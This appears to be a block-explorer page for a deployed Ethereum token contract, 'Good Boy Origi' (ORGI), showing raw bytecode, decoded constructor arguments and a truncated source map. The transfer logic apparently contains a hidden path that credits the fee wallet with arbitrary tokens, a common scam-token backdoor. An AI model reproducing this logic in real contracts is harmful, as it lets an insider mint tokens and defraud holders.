0x60806040526004361061013f575f3560e01c8063751039fc116100b35780638f9a55c01161006d5780638f9a55c01461035857806395d89b411461036d578063a9059cbb14610399578063bf474bed146103b8578063dd62ed3e146103cd578063ec1f3f6314610411575f80fd5b8063751039fc146102b75780637d1db4a5146102cb5780638980f11f146102e05780638a8c523c146102ff5780638cd4426d146103135780638da5cb5b14610332575f80fd5b806318160ddd1161010457806318160ddd1461020d57806323b872dd14610221578063313ce5671461024057806351bc3c851461025b57806370a082311461026f578063715018a6146102a3575f80fd5b80630614117a1461014a57806306fdde0314610160578063095ea7b3146101a75780630faee56f146101d657806317994ab1146101f9575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610430565b005b34801561016b575f80fd5b5060408051808201909152600d81526c476f6f6420426f79204f72676960981b60208201525b60405161019e919061165f565b60405180910390f35b3480156101b2575f80fd5b506101c66101c13660046116bf565b610488565b604051901515815260200161019e565b3480156101e1575f80fd5b506101eb60115481565b60405190815260200161019e565b348015610204575f80fd5b5061015e61049e565b348015610218575f80fd5b506101eb61081e565b34801561022c575f80fd5b506101c661023b3660046116e9565b61083e565b34801561024b575f80fd5b506040516009815260200161019e565b348015610266575f80fd5b5061015e6108a0565b34801561027a575f80fd5b506101eb610289366004611727565b6001600160a01b03165f9081526001602052604090205490565b3480156102ae575f80fd5b5061015e610908565b3480156102c2575f80fd5b5061015e610979565b3480156102d6575f80fd5b506101eb600e5481565b3480156102eb575f80fd5b5061015e6102fa3660046116bf565b610a2a565b34801561030a575f80fd5b5061015e610ace565b34801561031e575f80fd5b5061015e61032d3660046116bf565b610b10565b34801561033d575f80fd5b505f546040516001600160a01b03909116815260200161019e565b348015610363575f80fd5b506101eb600f5481565b348015610378575f80fd5b506040805180820190915260048152634f52474960e01b6020820152610191565b3480156103a4575f80fd5b506101c66103b33660046116bf565b610b2f565b3480156103c3575f80fd5b506101eb60105481565b3480156103d8575f80fd5b506101eb6103e7366004611742565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561041c575f80fd5b5061015e61042b366004611779565b610b3b565b6005546001600160a01b0316336001600160a01b03161461044f575f80fd5b6005546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610485573d5f803e3d5ffd5b50565b5f610494338484610b80565b5060015b92915050565b5f546001600160a01b031633146104d05760405162461bcd60e51b81526004016104c790611790565b60405180910390fd5b601354600160a01b900460ff161561052a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c7565b60125461055b9030906001600160a01b03166105486009600a6118b9565b61055690633b9aca006118c7565b610b80565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ab573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105cf91906118de565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561062e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065291906118de565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561069c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c091906118de565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610707816001600160a01b03165f9081526001602052604090205490565b5f8061071a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610780573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107a591906118f9565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107fa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104859190611924565b5f61082b6009600a6118b9565b61083990633b9aca006118c7565b905090565b5f61084a848484610ca3565b610896843361055685604051806060016040528060288152602001611a26602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112a1565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146108bf575f80fd5b305f9081526001602052604090205480158015906108e65750601354600160b01b900460ff165b156108f4576108f4816112d9565b4780156109045761090481611449565b5050565b5f546001600160a01b031633146109315760405162461bcd60e51b81526004016104c790611790565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109a25760405162461bcd60e51b81526004016104c790611790565b6109ae6009600a6118b9565b6109bc90633b9aca006118c7565b600e556109cb6009600a6118b9565b6109d990633b9aca006118c7565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a096009600a6118b9565b610a1790633b9aca006118c7565b60405190815260200160405180910390a1565b5f546001600160a01b03163314610a535760405162461bcd60e51b81526004016104c790611790565b6004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af1158015610aa5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac99190611924565b505050565b5f546001600160a01b03163314610af75760405162461bcd60e51b81526004016104c790611790565b6013805462ff00ff60a01b19166201000160a01b179055565b6004546001600160a01b0316336001600160a01b031614610a53575f80fd5b5f610494338484610ca3565b6004546001600160a01b0316336001600160a01b031614610b5a575f80fd5b6008548111158015610b6e57506009548111155b610b76575f80fd5b6008819055600955565b6001600160a01b038316610be25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b038216610d695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b5f8111610dca5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c7565b5f80546001600160a01b03858116911614801590610df557505f546001600160a01b03848116911614155b8015610e0f57506004546001600160a01b03848116911614155b15611164576001600160a01b03831630148015610e3957506004546001600160a01b038581169116145b8015610e495750610e4982611480565b506013546001600160a01b038581169116148015610e7557506012546001600160a01b03848116911614155b8015610e9957506001600160a01b0383165f9081526003602052604090205460ff16155b15610ffd57601354600160a01b900460ff16610eed5760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104c7565b600e54821115610f3f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c7565b600f5482610f61856001600160a01b03165f9081526001602052604090205490565b610f6b9190611943565b1115610fb95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c7565b610fe66064610fe0600a54600d541015610fd557600654610fd9565b6008545b85906114ba565b9061153f565b600d80549192505f610ff783611956565b91905055505b6013546001600160a01b03848116911614801561102357506001600160a01b0384163014155b801561103d57506004546001600160a01b03858116911614155b156110ba57601354600160a01b900460ff166110915760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104c7565b6110b76064610fe0600b54600d5410156110ad57600754610fd9565b60095485906114ba565b90505b305f90815260016020526040902054601354600160a81b900460ff161580156110f057506013546001600160a01b038581169116145b80156111055750601354600160b01b900460ff165b8015611112575060105481115b80156111215750600c54600d54115b156111435761114361113e8461113984601154611580565b611580565b6112d9565b6013546001600160a01b03908116908516036111625761116247611449565b505b80156111dc57305f908152600160205260409020546111839082611594565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111d39085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111fe90836115f2565b6001600160a01b0385165f9081526001602052604090205561124161122383836115f2565b6001600160a01b0385165f9081526001602052604090205490611594565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61128a85856115f2565b60405190815260200160405180910390a350505050565b5f81848411156112c45760405162461bcd60e51b81526004016104c7919061165f565b505f6112d0848661196e565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061131f5761131f611981565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611376573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061139a91906118de565b816001815181106113ad576113ad611981565b6001600160a01b0392831660209182029290920101526012546113d39130911684610b80565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061140b9085905f90869030904290600401611995565b5f604051808303815f87803b158015611422575f80fd5b505af1158015611434573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610904573d5f803e3d5ffd5b6004546001600160a01b03165f90815260016020526040812080548291849183906114ac908490611943565b925050819055119050919050565b5f825f036114c957505f610498565b5f6114d483856118c7565b9050826114e18583611a06565b146115385760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c7565b9392505050565b5f61153883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611633565b5f81831161158e5782611538565b50919050565b5f806115a08385611943565b9050838110156115385760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c7565b5f61153883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a1565b5f81836116535760405162461bcd60e51b81526004016104c7919061165f565b505f6112d08486611a06565b5f602080835283518060208501525f5b8181101561168b5785810183015185820160400152820161166f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610485575f80fd5b5f80604083850312156116d0575f80fd5b82356116db816116ab565b946020939093013593505050565b5f805f606084860312156116fb575f80fd5b8335611706816116ab565b92506020840135611716816116ab565b929592945050506040919091013590565b5f60208284031215611737575f80fd5b8135611538816116ab565b5f8060408385031215611753575f80fd5b823561175e816116ab565b9150602083013561176e816116ab565b809150509250929050565b5f60208284031215611789575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561181357815f19048211156117f9576117f96117c5565b8085161561180657918102915b93841c93908002906117de565b509250929050565b5f8261182957506001610498565b8161183557505f610498565b816001811461184b576002811461185557611871565b6001915050610498565b60ff841115611866576118666117c5565b50506001821b610498565b5060208310610133831016604e8410600b8410161715611894575081810a610498565b61189e83836117d9565b805f19048211156118b1576118b16117c5565b029392505050565b5f61153860ff84168361181b565b8082028115828204841417610498576104986117c5565b5f602082840312156118ee575f80fd5b8151611538816116ab565b5f805f6060848603121561190b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611934575f80fd5b81518015158114611538575f80fd5b80820180821115610498576104986117c5565b5f60018201611967576119676117c5565b5060010190565b81810381811115610498576104986117c5565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119e55784516001600160a01b0316835293830193918301916001016119c0565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a2057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d6fdbd82838ac447e49035e397a8bcdbdee238684ecbd120f53b8579f0b1f76d64736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000043a13268866eddabe7dfb4e8185b97881814694d

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : feeAddr (address): 0x43A13268866eDdabE7DfB4e8185B97881814694d

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 00000000000000000000000043a13268866eddabe7dfb4e8185b97881814694d


Deployed Bytecode Sourcemap

4128:9375:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12487:151;;;;;;;;;;;;;:::i;:::-;;6102:83;;;;;;;;;;-1:-1:-1;6172:5:0;;;;;;;;;;;;-1:-1:-1;;;6172:5:0;;;;6102:83;;;;;;;:::i;:::-;;;;;;;;6992:186;;;;;;;;;;-1:-1:-1;6992:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6992:186:0;1023:187:1;5250:57:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5250:57:0;1215:177:1;12646:609:0;;;;;;;;;;;;;:::i;6379:102::-;;;;;;;;;;;;;:::i;7186:446::-;;;;;;;;;;-1:-1:-1;7186:446:0;;;;;:::i;:::-;;:::i;6288:83::-;;;;;;;;;;-1:-1:-1;6288:83:0;;4846:1;2000:36:1;;1988:2;1973:18;6288:83:0;1858:184:1;11651:380:0;;;;;;;;;;;;;:::i;6489:119::-;;;;;;;;;;-1:-1:-1;6489:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6582:18:0;6555:7;6582:18;;;:9;:18;;;;;;;6489:119;3123:148;;;;;;;;;;;;;:::i;12039:183::-;;;;;;;;;;;;;:::i;5049:58::-;;;;;;;;;;;;;;;;11293:166;;;;;;;;;;-1:-1:-1;11293:166:0;;;;;:::i;:::-;;:::i;12328:114::-;;;;;;;;;;;;;:::i;11467:176::-;;;;;;;;;;-1:-1:-1;11467:176:0;;;;;:::i;:::-;;:::i;2909:79::-;;;;;;;;;;-1:-1:-1;2947:7:0;2974:6;2909:79;;-1:-1:-1;;;;;2974:6:0;;;2445:51:1;;2433:2;2418:18;2909:79:0;2299:203:1;5114:60:0;;;;;;;;;;;;;;;;6193:87;;;;;;;;;;-1:-1:-1;6265:7:0;;;;;;;;;;;;-1:-1:-1;;;6265:7:0;;;;6193:87;;6616:192;;;;;;;;;;-1:-1:-1;6616:192:0;;;;;:::i;:::-;;:::i;5181:62::-;;;;;;;;;;;;;;;;6816:168;;;;;;;;;;-1:-1:-1;6816:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6949:18:0;;;6922:7;6949:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6816:168;13263:237;;;;;;;;;;-1:-1:-1;13263:237:0;;;;;:::i;:::-;;:::i;12487:151::-;12553:12;;-1:-1:-1;;;;;12553:12:0;308:10;-1:-1:-1;;;;;12537:28:0;;12529:37;;;;;;12585:12;;12577:53;;-1:-1:-1;;;;;12585:12:0;;;;12608:21;12577:53;;;;;12585:12;12577:53;12585:12;12577:53;12608:21;12585:12;12577:53;;;;;;;;;;;;;;;;;;;;;12487:151::o;6992:186::-;7092:4;7109:39;308:10;7132:7;7141:6;7109:8;:39::i;:::-;-1:-1:-1;7166:4:0;6992:186;;;;;:::o;12646:609::-;3036:6;;-1:-1:-1;;;;;3036:6:0;308:10;3036:22;3028:67;;;;-1:-1:-1;;;3028:67:0;;;;;;;:::i;:::-;;;;;;;;;12708:14:::1;::::0;-1:-1:-1;;;12708:14:0;::::1;;;12707:15;12699:51;;;::::0;-1:-1:-1;;;12699:51:0;;3648:2:1;12699:51:0::1;::::0;::::1;3630:21:1::0;3687:2;3667:18;;;3660:30;3726:25;3706:18;;;3699:53;3769:18;;12699:51:0::1;3446:347:1::0;12699:51:0::1;12793:7;::::0;12761:57:::1;::::0;12778:4:::1;::::0;-1:-1:-1;;;;;12793:7:0::1;4912:15;4846:1;4912:2;:15;:::i;:::-;4896:31;::::0;:13:::1;:31;:::i;:::-;12761:8;:57::i;:::-;12855:7;;;;;;;;;-1:-1:-1::0;;;;;12855:7:0::1;-1:-1:-1::0;;;;;12855:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12837:47:0::1;;12907:4;12927:7;;;;;;;;;-1:-1:-1::0;;;;;12927:7:0::1;-1:-1:-1::0;;;;;12927:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12837:115;::::0;-1:-1:-1;;;;;;12837:115:0::1;::::0;;;;;;-1:-1:-1;;;;;5966:15:1;;;12837:115:0::1;::::0;::::1;5948:34:1::0;6018:15;;5998:18;;;5991:43;5883:18;;12837:115:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12829:5;:123:::0;;-1:-1:-1;;;;;12829:123:0;;::::1;-1:-1:-1::0;;;;;;12829:123:0;;::::1;;::::0;;12963:7:::1;::::0;::::1;:23;12994:21;13039:4;13059:24;13039:4:::0;-1:-1:-1;;;;;6582:18:0;6555:7;6582:18;;;:9;:18;;;;;;;6489:119;13059:24:::1;13098:1;13114::::0;13130:7:::1;2947::::0;2974:6;-1:-1:-1;;;;;2974:6:0;;2909:79;13130:7:::1;12963:215;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12963:215:0;;;-1:-1:-1;;;;;6404:15:1;;;12963:215:0::1;::::0;::::1;6386:34:1::0;6436:18;;;6429:34;;;;6479:18;;;6472:34;;;;6522:18;;;6515:34;6586:15;;;6565:19;;;6558:44;13152:15:0::1;6618:19:1::0;;;6611:35;6320:19;;12963:215:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13196:5:0::1;::::0;13219:7:::1;::::0;13189:58:::1;::::0;-1:-1:-1;;;13189:58:0;;-1:-1:-1;;;;;13219:7:0;;::::1;13189:58;::::0;::::1;7142:51:1::0;-1:-1:-1;;7209:18:1;;;7202:34;13196:5:0;::::1;::::0;-1:-1:-1;13189:21:0::1;::::0;7115:18:1;;13189:58:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;6379:102::-:0;6432:7;4912:15;4846:1;4912:2;:15;:::i;:::-;4896:31;;:13;:31;:::i;:::-;6452:21;;6379:102;:::o;7186:446::-;7318:4;7335:36;7345:6;7353:9;7364:6;7335:9;:36::i;:::-;7382:220;7405:6;308:10;7453:138;7509:6;7453:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7453:19:0;;;;;;:11;:19;;;;;;;;308:10;7453:33;;;;;;;;;;:37;:138::i;7382:220::-;-1:-1:-1;7620:4:0;7186:446;;;;;:::o;11651:380::-;11717:10;;-1:-1:-1;;;;;11717:10:0;308;-1:-1:-1;;;;;11701:26:0;;11693:35;;;;;;11780:4;11739:20;6582:18;;;:9;:18;;;;;;11801:16;;;;;:32;;-1:-1:-1;11821:12:0;;-1:-1:-1;;;11821:12:0;;;;11801:32;11797:95;;;11850:30;11867:12;11850:16;:30::i;:::-;11923:21;11959:14;;11955:69;;11990:22;12001:10;11990;:22::i;:::-;11682:349;;11651:380::o;3123:148::-;3036:6;;-1:-1:-1;;;;;3036:6:0;308:10;3036:22;3028:67;;;;-1:-1:-1;;;3028:67:0;;;;;;;:::i;:::-;3230:1:::1;3214:6:::0;;3193:40:::1;::::0;-1:-1:-1;;;;;3214:6:0;;::::1;::::0;3193:40:::1;::::0;3230:1;;3193:40:::1;3261:1;3244:19:::0;;-1:-1:-1;;;;;;3244:19:0::1;::::0;;3123:148::o;12039:183::-;3036:6;;-1:-1:-1;;;;;3036:6:0;308:10;3036:22;3028:67;;;;-1:-1:-1;;;3028:67:0;;;;;;;:::i;:::-;4912:15:::1;4846:1;4912:2;:15;:::i;:::-;4896:31;::::0;:13:::1;:31;:::i;:::-;12093:12;:29:::0;4912:15:::1;4846:1;4912:2;:15;:::i;:::-;4896:31;::::0;:13:::1;:31;:::i;:::-;12133:14;:31:::0;12180:34:::1;4912:15;4846:1;4912:2;:15;:::i;:::-;4896:31;::::0;:13:::1;:31;:::i;:::-;12180:34;::::0;1361:25:1;;;1349:2;1334:18;12180:34:0::1;;;;;;;12039:183::o:0;11293:166::-;3036:6;;-1:-1:-1;;;;;3036:6:0;308:10;3036:22;3028:67;;;;-1:-1:-1;;;3028:67:0;;;;;;;:::i;:::-;11431:10:::1;::::0;;11405:46:::1;::::0;-1:-1:-1;;;11405:46:0;;-1:-1:-1;;;;;11431:10:0;;::::1;11405:46:::0;;::::1;7142:51:1::0;;;;7209:18;;;7202:34;;;11405:25:0;::::1;::::0;::::1;::::0;7115:18:1;;11405:46:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11293:166:::0;;:::o;12328:114::-;3036:6;;-1:-1:-1;;;;;3036:6:0;308:10;3036:22;3028:67;;;;-1:-1:-1;;;3028:67:0;;;;;;;:::i;:::-;12383:12:::1;:19:::0;;-1:-1:-1;;;;12413:21:0;-1:-1:-1;;;12413:21:0;;;12328:114::o;11467:176::-;11567:10;;-1:-1:-1;;;;;11567:10:0;308;-1:-1:-1;;;;;11551:26:0;;11543:35;;;;;6616:192;6719:4;6736:42;308:10;6760:9;6771:6;6736:9;:42::i;13263:237::-;13343:10;;-1:-1:-1;;;;;13343:10:0;308;-1:-1:-1;;;;;13327:26:0;;13319:35;;;;;;13384:12;;13373:7;:23;;:51;;;;;13411:13;;13400:7;:24;;13373:51;13365:60;;;;;;13436:12;:22;;;13469:13;:23;13263:237::o;7640:335::-;-1:-1:-1;;;;;7733:19:0;;7725:68;;;;-1:-1:-1;;;7725:68:0;;8018:2:1;7725:68:0;;;8000:21:1;8057:2;8037:18;;;8030:30;8096:34;8076:18;;;8069:62;-1:-1:-1;;;8147:18:1;;;8140:34;8191:19;;7725:68:0;7816:400:1;7725:68:0;-1:-1:-1;;;;;7812:21:0;;7804:68;;;;-1:-1:-1;;;7804:68:0;;8423:2:1;7804:68:0;;;8405:21:1;8462:2;8442:18;;;8435:30;8501:34;8481:18;;;8474:62;-1:-1:-1;;;8552:18:1;;;8545:32;8594:19;;7804:68:0;8221:398:1;7804:68:0;-1:-1:-1;;;;;7883:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7935:32;;1361:25:1;;;7935:32:0;;1334:18:1;7935:32:0;;;;;;;7640:335;;;:::o;8105:2601::-;-1:-1:-1;;;;;8193:18:0;;8185:68;;;;-1:-1:-1;;;8185:68:0;;8826:2:1;8185:68:0;;;8808:21:1;8865:2;8845:18;;;8838:30;8904:34;8884:18;;;8877:62;-1:-1:-1;;;8955:18:1;;;8948:35;9000:19;;8185:68:0;8624:401:1;8185:68:0;-1:-1:-1;;;;;8272:16:0;;8264:64;;;;-1:-1:-1;;;8264:64:0;;9232:2:1;8264:64:0;;;9214:21:1;9271:2;9251:18;;;9244:30;9310:34;9290:18;;;9283:62;-1:-1:-1;;;9361:18:1;;;9354:33;9404:19;;8264:64:0;9030:399:1;8264:64:0;8356:1;8347:6;:10;8339:64;;;;-1:-1:-1;;;8339:64:0;;9636:2:1;8339:64:0;;;9618:21:1;9675:2;9655:18;;;9648:30;9714:34;9694:18;;;9687:62;-1:-1:-1;;;9765:18:1;;;9758:39;9814:19;;8339:64:0;9434:405:1;8339:64:0;8414:17;2974:6;;-1:-1:-1;;;;;8450:15:0;;;2974:6;;8450:15;;;;:32;;-1:-1:-1;2947:7:0;2974:6;-1:-1:-1;;;;;8469:13:0;;;2974:6;;8469:13;;8450:32;:52;;;;-1:-1:-1;8492:10:0;;-1:-1:-1;;;;;8486:16:0;;;8492:10;;8486:16;;8450:52;8446:1891;;;-1:-1:-1;;;;;8519:19:0;;8533:4;8519:19;:41;;;;-1:-1:-1;8550:10:0;;-1:-1:-1;;;;;8542:18:0;;;8550:10;;8542:18;8519:41;:61;;;;;8564:16;8573:6;8564:8;:16::i;:::-;-1:-1:-1;8625:5:0;;-1:-1:-1;;;;;8617:13:0;;;8625:5;;8617:13;:56;;;;-1:-1:-1;8665:7:0;;-1:-1:-1;;;;;8651:22:0;;;8665:7;;8651:22;;8617:56;:100;;;;-1:-1:-1;;;;;;8695:22:0;;;;;;:18;:22;;;;;;;;8694:23;8617:100;8595:751;;;8760:14;;-1:-1:-1;;;8760:14:0;;;;8752:46;;;;-1:-1:-1;;;8752:46:0;;10046:2:1;8752:46:0;;;10028:21:1;10085:2;10065:18;;;10058:30;-1:-1:-1;;;10104:18:1;;;10097:49;10163:18;;8752:46:0;9844:343:1;8752:46:0;8835:12;;8825:6;:22;;8817:60;;;;-1:-1:-1;;;8817:60:0;;10394:2:1;8817:60:0;;;10376:21:1;10433:2;10413:18;;;10406:30;10472:27;10452:18;;;10445:55;10517:18;;8817:60:0;10192:349:1;8817:60:0;8952:14;;8942:6;8926:13;8936:2;-1:-1:-1;;;;;6582:18:0;6555:7;6582:18;;;:9;:18;;;;;;;6489:119;8926:13;:22;;;;:::i;:::-;:40;;8896:140;;;;-1:-1:-1;;;8896:140:0;;10878:2:1;8896:140:0;;;10860:21:1;10917:2;10897:18;;;10890:30;10956:28;10936:18;;;10929:56;11002:18;;8896:140:0;10676:350:1;8896:140:0;9067:233;9296:3;9067:202;9140:15;;9127:9;;:28;;9126:120;;9232:14;;9126:120;;;9188:12;;9126:120;9067:6;;:32;:202::i;:::-;:228;;:233::i;:::-;9319:9;:11;;9055:245;;-1:-1:-1;9319:9:0;:11;;;:::i;:::-;;;;;;8595:751;9370:5;;-1:-1:-1;;;;;9364:11:0;;;9370:5;;9364:11;:36;;;;-1:-1:-1;;;;;;9379:21:0;;9395:4;9379:21;;9364:36;:58;;;;-1:-1:-1;9412:10:0;;-1:-1:-1;;;;;9404:18:0;;;9412:10;;9404:18;;9364:58;9360:412;;;9451:14;;-1:-1:-1;;;9451:14:0;;;;9443:46;;;;-1:-1:-1;;;9443:46:0;;10046:2:1;9443:46:0;;;10028:21:1;10085:2;10065:18;;;10058:30;-1:-1:-1;;;10104:18:1;;;10097:49;10163:18;;9443:46:0;9844:343:1;9443:46:0;9520:236;9752:3;9520:205;9593:16;;9580:9;;:29;;9579:123;;9687:15;;9579:123;;;9642:13;;9520:6;;:32;:205::i;:236::-;9508:248;;9360:412;9835:4;9786:28;6582:18;;;:9;:18;;;;;;9879:11;;-1:-1:-1;;;9879:11:0;;;;9878:12;:44;;;;-1:-1:-1;9917:5:0;;-1:-1:-1;;;;;9911:11:0;;;9917:5;;9911:11;9878:44;:77;;;;-1:-1:-1;9943:12:0;;-1:-1:-1;;;9943:12:0;;;;9878:77;:138;;;;;9999:17;;9976:20;:40;9878:138;:189;;;;;10049:18;;10037:9;;:30;9878:189;9856:371;;;10102:109;10141:51;10145:6;10153:38;10157:20;10179:11;;10153:3;:38::i;:::-;10141:3;:51::i;:::-;10102:16;:109::i;:::-;10251:5;;-1:-1:-1;;;;;10251:5:0;;;10245:11;;;;10241:85;;10277:33;10288:21;10277:10;:33::i;:::-;8504:1833;8446:1891;10351:13;;10347:172;;10426:4;10408:24;;;;:9;:24;;;;;;:39;;10437:9;10408:28;:39::i;:::-;10399:4;10381:24;;;;:9;:24;;;;;;;:66;;;;10467:40;;-1:-1:-1;;;;;10467:40:0;;;;;;;10497:9;1361:25:1;;1349:2;1334:18;;1215:177;10467:40:0;;;;;;;;10347:172;-1:-1:-1;;;;;10547:15:0;;;;;;:9;:15;;;;;;:27;;10567:6;10547:19;:27::i;:::-;-1:-1:-1;;;;;10529:15:0;;;;;;:9;:15;;;;;:45;10601:40;10619:21;:6;10630:9;10619:10;:21::i;:::-;-1:-1:-1;;;;;10601:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10585:13:0;;;;;;;:9;:13;;;;;:56;;;;10657:41;;;10676:21;:6;10687:9;10676:10;:21::i;:::-;10657:41;;1361:25:1;;;1349:2;1334:18;10657:41:0;;;;;;;8174:2532;8105:2601;;;:::o;904:224::-;1024:7;1060:12;1052:6;;;;1044:29;;;;-1:-1:-1;;;1044:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1084:9:0;1096:5;1100:1;1096;:5;:::i;:::-;1084:17;904:224;-1:-1:-1;;;;;904:224:0:o;10829:456::-;5580:11;:18;;-1:-1:-1;;;;5580:18:0;-1:-1:-1;;;5580:18:0;;;10928:16:::1;::::0;;10942:1:::1;10928:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10928:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10928:16:0::1;10904:40;;10973:4;10955;10960:1;10955:7;;;;;;;;:::i;:::-;-1:-